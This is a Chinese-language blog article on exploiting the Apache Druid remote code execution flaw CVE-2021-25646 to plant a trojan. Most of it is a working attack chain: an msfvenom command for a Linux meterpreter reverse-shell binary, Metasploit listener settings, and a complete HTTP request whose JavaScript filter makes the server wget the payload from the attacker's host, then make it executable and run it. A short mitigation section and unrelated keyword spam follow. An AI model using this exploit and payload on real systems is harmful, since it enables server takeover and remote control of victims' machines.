千家信息网

如何利用Apache Druid 远程代码执行漏洞CVE-2021-25646上传木马程序

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,这篇文章给大家介绍如何利用Apache Druid 远程代码执行漏洞CVE-2021-25646上传木马程序,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。一、漏洞综述1.1 漏
千家信息网最后更新 2026年10月31日如何利用Apache Druid 远程代码执行漏洞CVE-2021-25646上传木马程序

这篇文章给大家介绍如何利用Apache Druid 远程代码执行漏洞CVE-2021-25646上传木马程序,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

一、漏洞综述

1.1 漏洞背景

Apache Druid 是用Java编写的面向列的开源分布式数据存储系统,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。

近日Apache Druid官方发布了安全更新,修复远程代码执行漏洞(CVE-2021-25646)

1.2 漏洞描述

Apache Druid含有能够执行嵌入在各种类型请求中由用户提供的JavaScript代码功能。此功能适用于高度信任环境,且默认情况下已禁用。但是,在Druid 0.20.0及更早版本中,经过身份验证用户可以构造传入json串来控制某些参数发送恶意的请求,强制Druid为该请求运行用户提供的JavaScript代码。由于Apache Druid默认情况下缺乏授权认证,攻击者可以利用此漏洞在目标机器上执行任意代码,最终可获取服务器的控制权限。

1.3使用MSF生成反弹shell木马程序

本次使用的攻击机地址为:192.168.159.131 靶机地址:192.168.159.139

1、使用MSF生成反弹shell的木马程序,命令为:msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.159.131 LPORT=5555 -f elf > reverse.elf

备注:我这边使用的靶机是64位系统,所以选择的x64攻击负载,32位系统可以选择x86

2、在攻击机上使用python开启web服务,下文将通过Apache Druid 远程代码执行漏洞执行wget命令,从刚搭建的web服务商下载msf生成的reverse.elf文件

3、使用MSF开启监听模块,命令为:

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set lhost 192.168.159.131

set lport 5555

run

1.4漏洞复现

1、从https://github.com/apache/druid/releases/tag/druid-0.19.0下载Druid0.19版本,如下图所示

2、使用docker搭建Druid漏洞环境,解压下载的文件,进入druid-druid-0.19.0/distribution/docker路径使用docker-compose up -d搭建漏洞环境,完成之后访问http://192.168.159.139:8888

3、将下面的poc复制到burpsuit的repeater模块,攻击载荷中最终执行的命令为:wget http://192.168.159.131:888/reverse.elf,从搭建的web服务器上将反弹shell木马程序下载到靶机上

POST /druid/indexer/v1/sampler HTTP/1.1

Host: 192.168.159.139:8888

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/json;charset=UTF-8

Content-Length: 931

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["https://druid.apache.org/data/example-manifests.tsv"]},"inputFormat":{"type":"tsv","findColumnsFromHeader":true}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"timestamp","missingValue":"2010-01-01T00:00:00Z"},"dimensionsSpec":{},"transformSpec":{"transforms":[],"filter":{"type": "javascript",

"function": "function(value){return java.lang.Runtime.getRuntime().exec('wget http://192.168.159.131:888/reverse.elf')}",

"dimension": "added",

"": {

"enabled": "true"

}

}

}

},"type":"index","tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":50,"timeoutMs":10000}}

4、将下载到靶机上的reverse.elf恶意程序赋予可执行权限,命令为:chmod a+x reverse.elf

5、执行reverse.elf程序,执行命令为: ./reverse.elf

6、msf成功收到反弹的shell

二、影响范围

Apache Druid <= 0.20.0

三、严重等级

高危

四、处置方法

4.1 官方补丁

Apache Druid 官方已在新版本中修复此漏洞,请升级至0.20.1及以上版本,下载链接:https://github.com/apache/druid/releases/tag/druid-0.20.1

4.2 临时缓解措施

若暂时无法升级,可以通过以下方法临时缓解影响:

设置网络访问控制策略,只允许可信任的内网IP访问Druid。

引入druid-basic-security扩展添加授权认证。

关于如何利用Apache Druid 远程代码执行漏洞CVE-2021-25646上传木马程序就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

漏洞 代码 程序 命令 木马 攻击 靶机 服务 官方 数据 版本 环境 用户 系统 控制 生成 内容 功能 地址 恶意 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 中智农互联网科技 互联网电商科技 朗新科技与工业互联网 金融科技创新监管互联网金融 兼蜜互联网科技 哈尔滨秒房互联网科技有限公司 恒银科技与互联网金融 欧洲十大科技互联网公司 佳云科技和互联网广告 互联网媒体平台算高科技产业 佛山市翊博互联网络科技有限公司 国大互联网教育科技有限公司薪资 合肥互联网科技公司公章图片 黑云互联网科技有限公司 全球科技与互联网公司市值变化 互联网科技手机排行榜 广西科技产业互联网是什么 米泉互联网科技专业怎么样 科技互联网专业务虚会材料 科技发展第三阶段互联网时代 互联网高科技 网络科技有限互联网 礼当家互联网科技 四川狮子座互联网科技 苏州铭阳互联网科技有限公司 乌苏新华互联网科技做什么的 阿里互联网科技企业 互联网科技圈年度人物 深圳无忧互联网科技 六子台科技互联网展会
0